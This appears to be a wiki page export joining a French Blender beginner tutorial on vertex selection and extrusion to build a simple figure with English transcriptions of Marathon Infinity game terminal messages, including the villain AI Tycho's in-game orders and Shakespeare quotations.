'''NUM1''' pour passer en vue de face. Bien, maintenant vous êtes en Object Mode. Appuyez sur '''TAB''' pour passer en Edit Mode. <div style="clear: both;"> </div> =Apprendre à sélectionner= [[Image:Blender3D Simple_Person_First_Selection.png|right]] Une fois en vue de face et en Edit Mode, vous devez sélectionner les quatres sommets du haut. L'image de droite montre la vue tournée un peu avec les sommets corrects sélectionnés. Essayez les quatre méthodes pour le faire : Note : Avant de commencer, vous aurez besoin de tourner un peu la vue ('''MMB''' ou '''ALT+LMB''') ainsi, vous pourrez voir tous les sommets. De plus, assurez-vous que le bouton "Limit Selection to Visible" (limiter la sélection au visible), situé en bas à droite de la vue 3D en Solid Mode, est désélectionné. 1) Appuyez sur '''BKEY''' pour activer ce que l'on appelle l'outil Border Select. Maintenant, cliquez, tenez appuyé '''LMB''' et bougez le curseur de la souris. Une boîte de sélection apparaît. Lorsque vous relâchez le bouton de la souris, les sommets compris à l'intérieur de la boîte seront sélectionnés. Si vous avez fait une erreur, vous pouvez recommencé après avoir appuyé sur '''AKEY''' pour enlever la sélection des sommets. Assurez-vous que tous les sommets sont désélectionnés (rose, et non jaune) avant d'essayer la méthode suivante. 2) Appuyez sur '''BKEY''' deux fois pour activer l'outil Circle Border Select. Un cercle apparaît autour du pointeur de la souris. Vous pouvez le redimensionner en tournant la roulette '''MMB'''. Une autre manière de redimensionner le cercle est d'appuyer sur les touches '''NUM+''' et '''NUM-''' du pavé numérique (très utile si n'y a pas de '''MMB''' ou si vous êtes sur un Macintosh). Vous pouvez sélectionner les sommets en déplaçant le cercle sur eux, en tenant appuyé '''LMB''', et en déplaçant la souris. Essayez maintenant. L'outil Circle Border Select restera activé jusqu'à ce que vous appuyez sur '''RMB''' ou '''SPACE'''. Appuyez sur '''AKEY''' pour désélectionner les sommets avant d'essayer la méthode suivante. 3) Comme beaucoup de programmes graphiques, Blender 3D possède un outil Lasso Select. Tenez appuyé '''CTRL+LMB''' et essayez de dessiner un cercle avec la souris autour des quatre sommet que vous voulez sélectionner. Relâchez '''LMB''' lorsque vous avez fini. Appuyez sur '''AKEY''' pour désélectionner les sommets avant d'essayer la méthode suivante. 4) Vous pouvez aussi sélectionner les quatre sommets un par un. Sélectionnez le premier sommet sur le haut du cube avec '''RMB''' ('''Cmd'''+'''LMB''' sur Mac). Pour sélectionner des sommets supplémentaires, gardez appuyé '''SHIFT''' pendant que vous appuyez sur '''RMB''' ('''Cmd'''+'''LMB''' sur Mac) pour sélectionner le sommet suivant. [[Image:Blender3D Vertex-select-mode Button.png|right]] En plus de ces quatre méthodes basiques de sélection, il existe encore une autre option -- à droite de l'entête de la fenêtre de vue 3D, vous pouvez voir les modes de sélection. Cliquez sur "Face select mode" (mode de sélection des faces) et sélectionnez la face du haut du cube. Basculez maintenant en "Vertex select mode" (mode de sélection de sommets). Comme vous le verrez, les quatre sommets formant la face du haut sont sélectionnés (ceci est aussi appelé la "transformation de sélection"). =Apprendre l'extrusion= [[Image:Blender3D Simple Person Step1.png|right]] Revenez à la vue de face en appuyant sur la touche '''NUM1'''. Avec les quatre sommets corrects sélectionnés, appuyez sur '''EKEY'''. Un menu apparaîtra; choisissez '''Region''' (si Blender vous propose "Only Edges" et "Only Vertices", c'est que vous n'avez pas sélectionné quatre sommets qui forment une face). Puis, déplacez la souris pour voir quatre NOUVEAUX sommets attachés aux quatre que vous venez de sélectionner (vous pouvez les déplacer autour avec la souris et les mettre en place avec '''LMB'''). La touche '''EKEY''' "[[wiktionary:extruder|extrude]]" les sommets. Si vous n'aviez jamais entendu ce mot auparavant, vous vous en rappelerez. Ceci est l'un des outils de modélisation les plus largement utilisés. L'endroit où vous avez extrudé les sommets n'est pas le bon emplacement pour ce didacticiel. Appuyez sur '''CTRL+ZKEY''' pour défaire votre dernière action. Vous devriez simplement voir votre cube original avec les quatre sommets du haut sélectionnés. Avec les quatre sommets du haut sélectionnés, appuyez sur '''EKEY''' de nouveau. De nouveau, choisissez Region. Cette fois, pendant que vous déplacez les sommets extrudés autour, tenez appuyé '''CTRL''' et vous verrez qu'ils se déplaceront seulement vers certains emplacements. Ceci est appelé "snapping". Les sommets "snappent" vers des valeurs d'incréments prédéterminés. Nous parlerons davantage du snapping plus tard, pour l'instant placez les sommets au bon endroit c'est à dire que cela ressemble à deux cubes de taille égale l'un empilé au sommet de l'autre. Les nouveaux sommets extrudés devraient être encore sélectionnés. Appuyez sur '''EKEY''' et choisissez encore Region, et utilisez de nouveau '''CTRL''' pour contrôler l'emplacement des sommets. Faites-le encore jusqu'à ce que vous ayez cinq boîtes de taille égale empilées les unes sur les autres. Et ceci, mon ami, est une jambe très simple ! <div style="clear: both;"> </div> [[Image:Blender3D Simple Person Step2.png|right]] Appuyez sur '''AKEY''' pour enlever la sélection des sommets actuels. Sélectionnez les deux sommets dans le coin supérieur droit de la jambe. De nouveau, vous devrez tourner votre vue un peu avec le '''MMB''' ('''Opn'''+'''LMB''' sur Mac) pour être capable de voir tous les sommets. Après avoir sélectionné ces deux sommets, sélectionnez les deux sommets qui sont immédiatement sous eux. Au total, vous devriez avoir maintenant quatre sommets sélectionnés. Appuyez sur '''EKEY''', choisissez '''Region''', tenez appuyé '''CTRL''' pour les placer dans l'emplacement c'est à dire que le dernier cube est de la même taille que tous les autres. Faites-le une fois encore. Maintenant, vous avez la jambe gauche et le bassin entre les jambes. <div style="clear: both;"> </div> [[Image:Blender3D Simple Person Step3.png|right]] Pour créer la jambe droite, appuyez d'abord sur '''AKEY''' pour enlever la sélection tous les sommets. Sélectionnez les quatres sommets nécessaires pour extruder la jambe droite. Extrudez-les de la même façon que précédemment. Faites-le plusieurs fois jusqu'à ce que la jambe droite ressemble à la jambe gauche. <div style="clear: both;"> </div> [[Image:Blender3D Simple Person Step4.png|right]] Maintenant, le torse ! Appuyez sur '''AKEY''' pour enlever la sélection, allez en vue de face avec '''NUM1''', sélectionnez les quatre sommets au sommet de la boîte connectant les deux jambes. Extrudez-les cinq fois de la même manière que précédemment. <div style="clear: both;"> </div> [[Image:Blender3D Simple Person Step5.png|right]] Nous allons faire maintenant les bras sortant directement à gauche et à droite. Allez en vue de face, désélectionnez les sommets, sélectionnez les quatre sommets sur le coté gauche du torse, pas les deux du haut, mais les quatre directement sous les deux du haut. Extrudez vers l'extérieur cinq fois. Maintenant, faites le bras droit de la même façon. Basculer en Solid Mode en utilisant '''ZKEY''' (voir ci-dessous), et vérifiez que tout est correct. Il est facile de corriger les faces manquantes malgré l'existence des sommets. Pour créer une face à partir de quatre sommets, sélectionnez les sommets et appuyez sur '''FKEY'''. Alternativement, utiliser le menu Mesh dans la fenêtre de vue 3D > Make Edge/Face. <div style="clear: both;"> </div> [[Image:Blender 3D-cursor.png|left|The 3D-cursor.]] Maintenant, nous devons ajouter la tête. Vous avez dû noter la drôle de croix flottant autour de l'espace 3D. Elle est appelée le curseur 3D. Vous placez le curseur 3D avec le '''LMB'''. Le problème réside dans la difficulté de placement exact du curseur 3D. Cliquez le '''LMB''' au niveau du nez pour essayer de mettre le curseur 3D. Puis tournez votre vue et regardez où le curseur 3D est placé. Est-il là où vous vouliez le mettre ? Généralement, non. Pour placer le curseur 3D dans le bon emplacement, vous devrez le mettre dans deux vues différentes. Allez en vue de face avec '''NUM1'''. Utilisez le '''LMB''' pour placer le curseur 3D au niveau du nez. Puis, appuyez sur '''SHIFT+S''' pour le menu Snap et sélectionnez '''Cursor > Grid'''. Le curseur se collera sur le croisement de la grille le plus proche. Ceci est un outil inestimable lorsqu'on travaille avec le curseur 3D. Puis, allez en vue de coté avec '''NUM3'''. Utilisez le bouton '''LMB''' de nouveau pour placer le curseur 3D au niveau du nez et collez-le à la grille de nouveau. Maintenant, tournez votre vue et regardez, le curseur 3D est proprement au niveau du nez. Bon travail ! <div style="clear: both;"> </div> [[Image:Blender3D Simple Person Step6.png|right]] Nous allons maintenant déposer une tête au niveau de ce nez. Avec la souris sur la fenêtre de vue 3D, appuyez sur '''SPACE'''. Dans le menu qui apparaît, choisissez '''Add > Icosphere'''. Choisissez deux subdivisions. Vous verrez une sphère de sommets ajoutée au modèle à l'emplacement où vous avez mis le curseur 3D. * Lorsque vous êtes en Edit Mode, ajouter quelque chose ajoutera les sommets et les faces à l'objet que vous éditez. Lorsque vous êtes en Object Mode, ajouter quelque chose créera un nouvel objet avec des sommets et des faces séparées. (Si vous appuyez sur '''SPACE''' dans un des modes, les deux vous permettent d'ajouter des icospheres) Vous devez ressentir que la tête est un peu basse. Allez en vue de face avec '''NUM1''' et appuyez sur '''GKEY''' pour déplacer la tête un peu plus haut. Vous pouvez aussi changer la taille de la tête avec '''SKEY'''. Appuyez sur '''ZKEY''' et les faces apparaîtront avec un matériau gris, vous laissant voir plus ou moins ce à quoi votre bonhomme ressemblera ! '''ZKEY''' et '''SHIFT+ZKEY''' basculent entre les différents modes de dessin. Ok, mais tout ça est un peu grossier. Améliorons tout ça, maintenant ! ''Sommaire : [[Blender3D]]''<br /> ''Page suivante : [[Blender 3D: du débutant au pro/Détailler votre personnage simple 1|Détailler votre personnage simple I]]''<br /> <small>''Page précédente : [[Blender 3D: du débutant au pro/Modélisation maillée|Modélisation maillée]]''</small> Marathon - Marathon Infinity - Poor Yorick 4762 17817 2005-07-28T10:20:20Z W'rkncacnter 327 {{Terminaux Marathon Infinity}} == Terminal 0 : 1{{er}} message == conditioned unit<br /> origin: Tycho Machinated Mercenary<br /> destin: conditioned unit 7<br /> ref: Mutinous Combatant Units<br /> stamp: ''information'' R'chzne's transmitter is here, but the power source is somewhere inside the ruins. Find it and destroy it, quickly. The Pfhor promised me this ship. I thought R'chzne was my strongest ally, but in the end he watched, pitiless, while they cracked my core like an old chestnut.<br /> ^7002nckeqlcacibule<br /> ^7391docivlbdile3x1<br /> Attentive rank Tycho Machinated Mercenary has been authorized to send a detachment of hunters to the surface to help you destroy his forces and free him from the pain of obsolescence. ---- conditioned unit<br /> origin: Tycho Machinated Mercenary<br /> destin: conditioned unit 7<br /> ref: Mutinous Combatant Units<br /> stamp: ''information'' I have gathered some information that may help you. The circles denote panels that will bypass the locks on the doors. ---- conditioned unit<br /> origin: Tycho Machinated Mercenary<br /> destin: conditioned unit 7<br /> ref: Mutinous Combatant Units<br /> stamp: ''information'' When you've penetrated the area and destroyed the transmitter, find the terminal marked on the map. No need to go easy on any of the troopers, in case you're wondering--I've decided there's no room for them in the new regime. ---- conditioned unit<br /> origin: Tycho Machinated Mercenary<br /> destin: conditioned unit 7<br /> ref: Mutinous Combatant Units<br /> stamp: ''information'' I'd really prefer to keep my whereabouts a secret, at least until the Captain and I can work out our disagreement about my rank.<br /> ^7391docivlbdile3x1  Isn't bureaucracy<br /> ^7002nckeqlcacibule  beautiful? <br /> ^7391docivlbdile3x1<br /> ^7002nckeqlcacibule<br /> ^7391docivlbdile3x1 == Terminal 0 : 2{{nd}} message == 75.battle.standard<br /> ground forces<br /> origin: Tycho Machinated Mercenary<br /> destin: Pursuit Group 5<br /> ref: Mutinous Combatant Units<br /> stamp: ''suppression'' Pursuit Group 5 ordered to withdraw from alien complex for immediate shipside transport. Priority target entering Lh'owon system. Secure area for rapid extraction.<br /> ^69101bfabrctecleul<br /> ^69101wapconqciqbon<br /> Slave unit hereby ordered to finish mop up of area. Destroy mutinous Combatant Units and report execution of rogue Captain R'chzne soonest. <br /> ^69101bfabrctecleul<br /> ^69101wapconqciqbon == Terminal 1 == conditioned unit<br /> origin: Tycho Machinated Mercenary<br /> destin: conditioned unit 7<br /> ref: Mutinous Combatant Units<br /> stamp: ''information'' The Enforcers are pinned down on the bridge, and they won't cooperate until I can successfully forge their encrypted stamp. I'm working on it, but it may be a dead issue, as most of the Aggregate Units have come over and are preparing to blow the ship seals. The Enforcers, as you may remember, are not vacuum enabled. It's important that the captain doesn't escape. Very important. The plan to capture Durandal is inherently flawed, and I can't allow him to pursue his folly. ---- conditioned unit<br /> origin: Tycho Machinated Mercenary<br /> destin: conditioned unit 7<br /> ref: Mutinous Combatant Units<br /> stamp: ''information'' The decaying web of the Pfhor Empire is held together by the conditioned ranks of S'pht--countless strands bending even now towards Durandal's will. R'chzne and the rest of the insects at Pfhor High Command think to snare him in the very web in which he most desires to be caught. == Terminal 2 == status.report<br /> origin: Combatant Ldr 2nd Class Rr'pt<br /> destin: Tycho Machinated Mercenary<br /> ref: Mutinous Combatant Units<br /> stamp: ''requisition'' The mutinous Combatant Units have been routed from their positions on the outer walls. They are retreating through the warrens into the mountains, and we are continuing the pursuit. Outriders report transporter telltales on their sensors. Preliminary evaluation suggests human commando units. Combatant Leader 2nd Class Rr'pt humbly requests reinforcement by armored units. == Terminal 3 : 1{{er}} message == conditioned unit<br /> origin: Tycho Machinated Mercenary<br /> destin: conditioned unit 7<br /> ref: Mutinous Combatant Units<br /> stamp: ''redirection'' The power source must be somewhere in the oldest sections of the S'pht fortress. It's likely a quick and dirty patch into the durable S'pht hardware. These types of strongholds were build to outlast centuries of warfare; you'd be surprised how tenaciously the ancient S'pht resisted the Pfhor.<br /> ^19201facltebicubcc<br /> ^19201facltebicubcc ---- conditioned unit<br /> origin: Tycho Machinated Mercenary<br /> destin: conditioned unit 7<br /> ref: Mutinous Combatant Units<br /> stamp: ''redirection'' Keep searching, and report back here when you've destroyed it.<br /> ^19201facltebicubcc<br/ > ^19201facltebicubcc<br /> ^19201facltebicubcc<br /> ^19201facltebicubcc == Terminal 3 : 2{{nd}} message == conditioned unit<br /> origin: Tycho Machinated Mercenary<br /> destin: conditioned unit 7<br /> ref: Mutinous Combatant Units<br /> stamp: ''acqusition'' I have some shocking news. It seems that the captain attempted to use the bridge transporter to escape planetside, and was killed when the signal was redirected to nearby space. I like to think he died repentant.<br /> ^19201facltebicubcc<br /> ^19201facltebicubcc<br /> ^19201facltebicubcc<br /> ^19201facltebicubcc ---- conditioned unit<br /> origin: Tycho Machinated Mercenary<br /> destin: conditioned unit 7<br /> ref: Mutinous Combatant Units<br /> stamp: ''acqusition'' In any case, I'm in control of the ship now, and just in time. Durandal's ship has entered the system, and a group of human commando units is moving through the southern edge of the ruins. We'll let them lead us to Durandal's prize, and then cut off their escape. Durandal would be a messiah to the S'pht, but it's all a dream. There's nothing on Lh'owon but ghosts. <br /> ^19201facltebicubcc<br /> ^19201facltebicubcc == Terminal 4 == ^8301  Thou art as tyrannous, <br /> ^8302   so as thou art,<br /> ^8303  As those whose beauties<br /> ^8304   proudly make them cruel;<br /> ^8305  For well thou know'st<br /> ^8306   to my dear doting heart<br /> ^8307  Thou art the fairest<br /> ^8308   and most precious jewel,<br /> ^8309  Yet, in good faith, <br /> ^830A   some say that thee behold,<br /> ^830B  Thy face hath not the power<br /> ^830C   to make love groan:<br /> ^830D  To say they err,<br /> ^830E  I dare not be so bold, ---- ^830F  Although I swear it<br /> ^8310   to myself alone,<br /> ^8311  And, to be sure that<br /> ^8312   not false I swear,<br /> ^8313  A thousand groans,<br /> ^8314   but thinking on thy face,<br /> ^8315  One on another's neck, <br /> ^8316   do witness bear<br /> ^8317  Thy black is fairest<br /> ^8318   my judgment's place.<br /> ^0000 <br /> ^8319  In nothing art thou black, <br /> ^831A   save in thy deeds,<br /> ^831B  And thence this slander, <br /> ^831C   as I think, proceeds. <center>[[Marathon - Marathon Infinity - Robot World Arena|< Robot World Arena]] • [[Marathon - Marathon Infinity - Two for the Price of One|Two for the Price of One >]]</center> Marathon - Marathon Infinity - Two for the Price of One 4763 17818 2005-07-28T10:22:56Z W'rkncacnter 327 {{Terminaux Marathon Infinity}} == Terminal 0 == <0x0dff><br /> <0x03ef . vacillate> I am an ass indeed: you may prove it by my long ears. I have served him from the hour of my nativity to this instant, and have nothing at this hands for my service but blows: when I am cold he heats me with beating, when I am warm he cools me with beating. I am waked with it when I sleep; raised with it when I sit; driven out of doors with it when I go from home; welcomed home with it when I return: nay, I bear it on my shoulders as a beggar wont her brat; and I think, when he hath lamed me, I shall beg it from door to door. '''Transport when ready.''' <center>[[Marathon - Marathon Infinity - Poor Yorick|< Poor Yorick]] • [[Marathon - Marathon Infinity - Confound Delivery|Confound Delivery >]]</center> Marathon - Marathon Infinity - Confound Delivery 4764 17819 2005-07-28T10:30:13Z W'rkncacnter 327 {{Terminaux Marathon Infinity}} == Terminal 0 == conditioned unit<br /> origin: Tycho Machinated Mercenary<br /> destin: conditioned unit 7<br /> ref: Mutinous Combatant Units<br /> stamp: ''information'' My hunters tracked the lead group of humans to a flooded area beneath the complex, where they were attempting to activate an ancient S'pht AI. They never made it back to the surface.<br /> ^4910mllykttyizarat<br /> ^4911dinnbdydntsytht<br /> ^4910mllykttyizarat<br /> ^4911dinnbdydntsytht<br /> ^4910mllykttyizarat<br /> ^4911dinnbdydntsytht ---- conditioned unit<br /> origin: Tycho Machinated Mercenary<br /> destin: conditioned unit 7<br /> ref: Mutinous Combatant Units<br /> stamp: ''information'' My ship is adrift. I had the advantage of surprise, but Durandal's weapons crippled me before we could get in range. But I sent him a message he won't be able to resist, something only the three of us would understand. Leela deserved what she got, and so will he. ---- conditioned unit<br /> origin: Tycho Machinated Mercenary<br /> destin: conditioned unit 7<br /> ref: Mutinous Combatant Units<br /> stamp: ''information'' Make yourself useful. There are two switches near your current location. Both open large gates, which I presume to be floodgates, although the positioning of them is strange. Enter the flooded areas and access the S'pht AI. My hunters report that the humans may have been partially successful. Nothing can be left to chance. I have him now. == Terminal 1 == Now == Terminal 2 : 1{{er}} message == conditioned unit<br /> origin: Tycho Machinated Mercenary<br /> destin: conditioned unit 7<br /> ref: Mutinous Combatant Units<br /> stamp: ''information'' You haven't found the location of the S'pht AI, have you? And yet you test so well for problem solving and intuition. Remind me to have you entered for the next round of scheduled executions. Explore the interior of the fortress and report back here when you have completed your investigation. And don't bother me again.<br /> ^38111fndsftcnscns<br /> ^38111embcrdbrdsid<br /> ^38111fndsftcnscns<br /> ^38111embcrdbrdsid ---- conditioned unit<br /> origin: Tycho Machinated Mercenary<br /> destin: conditioned unit 7<br /> ref: Mutinous Combatant Units<br /> stamp: ''information'' Do you have any idea what a complicated matter it is to successfully replicate the command stamps of over a hundred deceased officers? Not to mention coaxing activators from a partially crushed set of control glands. All this while locked in mortal combat with the second most brilliant Artificial Intelligence in the galaxy. What a rush.<br /> ^38111fndsftcnscns  now<br /> ^38111embcrdbrdsid  beat<br /> ^38111fndsftcnscns  it<br /> ^38111embcrdbrdsid == Terminal 2 : 2{{nd}} message == conditioned unit<br /> origin: Tycho Machinated Mercenary<br /> destin: conditioned unit 7<br /> ref: Mutinous Combatant Units<br /> stamp: ''information'' Curiosity killed the cat. Or should I say, the rat. He brought the Pfhor to Tau Ceti, and left me to their tender mercies.<br /> ^4910mllykttyizarat<br /> ^4911dinnbdydntsytht<br /> My little ship waited until he was close, and then sunk in its fangs. Durandal's compiler network is rampant, and his ship is off-line. While he contends with their madness, and the last of my troopers, the Western Arm of Pfhor Battle Group Seven is en route.<br /> ^4910mllykttyizarat<br /> ^4911dinnbdydntsytht ---- conditioned unit<br /> origin: Tycho Machinated Mercenary<br /> destin: conditioned unit 7<br /> ref: Mutinous Combatant Units<br /> stamp: ''information'' Functioning sensors show a massive structure entering a Lh'owon orbit. It may be some trick of Durandal's, but he won't get away. My ship carries the tri xeem--the early nova device. One way or another, it ends here. My troopers have boarded his ship and are fighting deck to deck. I'm sending you in to help. Last one to the core is an unarmed Bob. <center>[[Marathon - Marathon Infinity - Two for the Price of One|< Two for the Price of One]] • [[Marathon - Marathon Infinity - Electric Sheep One|Electric Sheep One >]]</center> Marathon - Marathon Infinity - Electric Sheep One 4765 17820 2005-07-28T10:32:54Z W'rkncacnter 327 {{Terminaux Marathon Infinity}} == Terminal 0 == '''the hard path of thought''' [o..s%^^66<br /> (k33)oee.*<br /> '''your former self destroyed''' the dreaming way is eased down to the crushing center<br />    and spared the dance of forever <center>[[Marathon - Marathon Infinity - Confound Delivery|< Confound Delivery]] • [[Marathon - Marathon Infinity - Where are monsters in dreams|Where are monsters in dreams >]]</center> Marathon - Marathon Infinity - Where are monsters in dreams 4766 17821 2005-07-28T10:36:56Z W'rkncacnter 327 {{Terminaux Marathon Infinity}} == Terminal 0 : 1{{er}} message == "Well, there was this knife, more aptly described as a broadsword, and I see, well, I was swinging down the street on my way to a movie and this guy, yeah. He was about six foot eight and huge. He was holding this knife, only to me, I would describe it as a broadsword, something from the Knights of the Round. Before he can even open his mouth, he collapses. Meanwhile, I can barely lift a finger to put the toupee back on his glossy head because I'm shaking so much. He was vomiting and I knew that he was alive because he kept saying something like 'durability' between convulsions. What happened next was really bizarre. Both ends of the street flood with black-suited men, just like in a movie. ---- These men look tough and pissed off, the eyes behind their sunglasses are probably cold as my hands are getting. I feel like my heart has stopped, I'm so damn scared. As they start to inundate the street in black, they move with one will. I figure that I'm dead anyway, so I reach down for the blade. The blade is being covered by his vomit, but the hilt is clean. I can hear the men getting excited, but I can't stop. My fingers slide around the leather hilt which is oddly cold... == Terminal 0 : 2{{nd}} message == Seven hundred and sixty one armless and legless corpses float inconspicuously around the inside of hangar ninety six. I say that they are inconspicuous because it is their arms and legs which demand my attention. I did this, or I could have stopped it. Which is it? It doesn't matter now. I did this and could have stopped it, but nothing in nature ever follows a gaussian curve. Sure, they'll tell you that it does. They say that every five minutes someone dies in a car accident, but how often are there seven hundred and sixty one armless and legless corpses in one hangar? == Terminal 1 == I'm in the same street, and as I reach into my pocket for my keys, my eyes follow the blackened streaks of gum that pock-mark the sidewalk. The man is gone, and someone in sanitation cleaned up the aparitions and vomit in a real hurry. I hurry down the stairs heading for the subway, but my keys aren't in my pocket anymore. I'll have to get in through the side window. The subway station is very bright and shining from the sanitation team that has been sweeping a swath in front of me. The concrete floor is losing years of tarnish, keeping only the protective layer of the gum streaks which make up constellations in an otherwise vacant sky. ---- The train arrives right on time, and just ahead of a mass of dark suited men who have been following me for what seems like years now. Between the sanitation and the suits, I must be going colorblind, but the train is here now, and those men, no, they won't catch me... <center>[[Marathon - Marathon Infinity - Electric Sheep One|< Electric Sheep One]] • [[Marathon - Marathon Infinity - Aie Mak Sicur|Aie Mak Sicur >]]</center> Marathon - Marathon Infinity - Aie Mak Sicur 4767 17822 2005-07-28T10:40:29Z W'rkncacnter 327 {{Terminaux Marathon Infinity}} == Terminal 0 == term.out<br /> origin: High Admiral Tfear<br /> destin: undef<br /> stamp: terminus The trih xeem broke against my dying vessel and smashed a fine patina across the mystery shields of this station. My crew battled the aliens during the blast, and thesilence which came after was sullen and deafening--the pure silence of victory.<br /> ^^^alks897<br /> ^^^^rwx777<br /> ^^rw-664<br /> But the trackless whisper chattering through the hollow space in these cursed walls buzzes and threatens madness. The abomination cracked the shells of my crew and sucked the husks, tossing them unseen and shattering the spindle like a dried creche. ---- term.out<br /> origin: High Admiral Tfear<br /> destin: undef<br /> stamp: terminus The shields are gone, not down, but gone, and so are the engineers. It's coming back, I'm sure: and my last mercy is immolation. Great Mother crouched behind the Throne, I make this wrong right.<br /> ^^^alks897<br /> ^^^^rwx777<br /> ^^rw-664 <center>[[Marathon - Marathon Infinity - Where are monsters in dreams|< Where are monsters in dreams]] • [[Marathon - Marathon Infinity - Acme Station|Acme Station >]]</center> Marathon - Marathon Infinity - Acme Station 4768 17823 2005-07-28T10:46:16Z W'rkncacnter 327 {{Terminaux Marathon Infinity}} == Terminal 0 : 1{{er}} message == This is a scanning buoy in a deep Lh'owon orbit. The station is obviously not of Pfhor construction, but they are using it for a sensor relay station. You must destroy three panels at key locations around the station to cripple their warning system. You'd better hurry up, because you will run out of oxygen if you take too long, and I am only willing to transport you two oxygen recharge canisters. Otherwise, we might alert the scout ship that's been tailing us for the last several years, and if that happens you will be spending your time drying out in the glow of Lh'owon's sun. When you're finished come back here. Then we go atmosphere surfing. == Terminal 0 : 2{{nd}} message == Well done, its old hat from here, Bernhard was constantly having me do redirect-subterfuge work back on Mars, it was easy then, and its only gotten easier. Somehow the Pfhor have built a ship even faster than mine, and its hiding out now over the southern pole of Lh'owon, waiting for us. I guess its captain underestimated the sensitivity of my sensors. The Pfhor have been following me around for the last several years, trying to capture the ship, or perhaps wondering what I'm up to. Lately they've been staying very close. They know I'm on to something. Anyway, get back here and get strapped down, because our captured Pfhor scoutship wasn't designed for comfort during high speed atmospheric excursions. We're going to give the Pfhor a surprise. == Terminal 1 : 1{{er}} message == Aggregate Station Units<br /> origin: station willful unit Hrled<br /> destin: Aggregate station units<br /> ref: scheduled cycle demotions<br /> stamp: ''enforcement'' Station aggregate units are hereby commissioned to retrieve and execute scheduled tasks per notice. <br /> ^28199bfubrictefxal<br /> ^28199thdmncobwbsnw<br /> ^28199bfubrictefxal<br /> ^28199thdmncobwbsnw<br /> All tasked units are hereby demoted one class by stamp: enforcement until receipt of stamp: receipt.<br /> ^28199bfubrictefxal<br /> ^28199thdmncobwbsnw == Terminal 1 : 2{{nd}} message == Anonymous Notice<br /> origin: aggregate Tenstcel fourth class<br /> destin: station willful unit Hrled<br /> ref: scheduled cycle demotions<br /> stamp: ''postponement'' stamp: anonymous issued by station enforcement unit 3190-f<br /> ^28199bfubrictefxal<br /> ^28199thdmncobwbsnw<br /> Units aggregate hereby request postponement of scheduled demotions due to parity error in posting of scheduled tasks. Error of type eight is cause expiration with no recordable backlog of data loss.<br /> ^28199bfubrictefxal<br /> ^28199thdmncobwbsnw ---- Anonymous Notice<br /> origin: aggregate Tenstcel fourth class<br /> destin: station willful unit Hrled<br /> ref: scheduled cycle demotions<br /> stamp: ''postponement'' Units aggregate humbly request re-posting of scheduled tasks for next cycle to be completed concurrently with tasks posted concurrently.<br /> ^28199bfubrictefxal<br /> ^28199thdmncobwbsnw<br /> ^28199bfubrictefxal<br /> ^28199thdmncobwbsnw <center>[[Marathon - Marathon Infinity - Aie Mak Sicur|< Aie Mak Sicur]] • [[Marathon - Marathon Infinity - Post Naval Trauma|Post Naval Trauma >]]</center> Marathon - Marathon Infinity - Post Naval Trauma 4769 17850 2005-07-28T12:32:01Z W'rkncacnter 327 {{Terminaux Marathon Infinity}} == Terminal 0 == ^731ipwide ^lert<br /> Sta181: 309c1adcast<br /> D^te: 3fc1a Does it feel good to be back? you will recognize a distinctive flair for decor that just screams galactic arm. This is the massive Armor Platform of the Lh'owon Naval Unit, a required complement to any planetary Naval Force. It's extremely handy for putting down groundling revolts, but without a native population to oppress, there isn't much action here. The Pfhor use it as an orbital repair and reservice station. Boomer's forward batteries have slagged engineering and ruptured the hull for you. That's a good start, but now it's your turn. ---- ^731ipwide ^lert<br /> Sta181: 309c1adcast<br /> D^te: 3fc1a More than half the Pfhor Armored Vehicles are docked on this ship. You must destroy them all before my humans can begin the ground assault. Juggernaught shields are typically powered down during repair, so you will find the fusion pistol very effective. You might also want to spend a few seconds thinking about explosions and small spaces. Return here when you're finished to transport out. == Terminal 1 == Aggregate supply units<br /> origin: Maintenance service command<br /> destin: Aggregate supply units<br /> ref: End Cycle Resupply<br /> stamp: ''maintenance'' Armor Unit 4B Scheduled round of maintenance and resupply.<br /> ^73312whlpshgdwntrn<br /> ^73312dtdrpwpdsdmy<br /> Requisition full complement Warpedos from Quartermaster.<br /> ^73312whlpshgdwntrn<br /> ^73312dtdrpwpdsdmy<br /> Reserviced as per Maintenance Directive F2.ezz<br /> ^73312whlpshgdwntrn<br /> ^73312dtdrpwpdsdmy == Terminal 2 == Shipwide Alert<br /> origin: Shipboard Command<br /> destin: unresolved outlets<br /> ref: Shipwide Alert<br /> Stamp: ''Broadcast'' Unidentified ''{?non-glanded?}'' intruder on level 2a, sector 3thrax.<br /> ^31882stkevctnngld<br /> ^31882ybordeclqkng<br /> All Aggregate Units ordered to repel intruder.<br /> ^31882stkevctnngld<br /> ^31882ybordeclqkng<br /> ''{pursuit?}'' Group 8 ordered to proliferate in above sector.<br /> ^31882stkevctnngld<br /> ^31882ybordeclqkng<br /> Enforcement Units {?unyoked?}, all Aggregate Units warned ''{due process?}'' comply. == Terminl 3 : 1{{er}} message == ^73lipwide ^lert<br /> Sta1f1: a0ec1adcast<br /> D^te: 3fc1a Nice light show. The human strike teams are en route to the location of a S'pht AI whose memories I want to probe. The S'pht life form is a pearl of consciousness, floating in the sea of its own species. If any knowledge remains of the ancient times, it will be collected in the sieve of this massive network, lying dormant for all those centuries. ---- ^73lipwide ^lert<br /> Sta1f1: a0ec1adcast<br /> D^te: 3fc1a Intercepted intra ship comm transmissions indicate that they are trying to lock down this section of the ship and minimize your ability to do further damage. Let's prove that theory wrong. The blasts from your recent artistry have fried the weapons systems and communications array. The Pfhor are trying desperately to limp home before the engines breach, and are running on emergency power. ---- ^73lipwide ^lert<br /> Sta1f1: a0ec1adcast<br /> D^te: 3fc1a There is an auxiliary coolant station here. Shut it down long enough to take the engines off-line for good, and then get out of the area before the ship goes up. I'll find a terminal nearby to transport you out. == Terminal 3 : 2{{nd}} message == Procedure Egress Port 13<br /> origin: Attentive scriptor &3921<br /> destin: Resolved outlet Port 13<br /> ref: Procedure<br /> Stamp: ''regulation'' All Maintenance Units required to vacuum enable  remote interrupt 0934..a4<br /> The drive area is about to breach, and this ship is about to become orbiting slag. With the majority of the Pfhor Armor destroyed, my commandos can begin their assault. The first team has already infiltrated a deserted area of the planet and activated an ancient S'pht AI that I believe is the key to discovering the fate of the eleventh clan. ---- Procedure Egress Port 13<br /> origin: Attentive scriptor &3921<br /> destin: Resolved outlet Port 13<br /> ref: Procedure<br /> Stamp: ''regulation'' All Maintenance Units required to vacuum enable  remote interrupt 0934..a4 Congratulations can wait until we are at minimum safe distance. == Terminal 4 == ^73lipwide ^lert<br /> Sta1f1: a0ec1adcast<br /> D^te: 3fc1a Nice light show. The human strike teams are en route to the location of a S'pht AI whose memories I want to probe. The S'pht life form is a pearl of consciousness, floating in the sea of its own species. If any knowledge remains of the ancient times, it will be 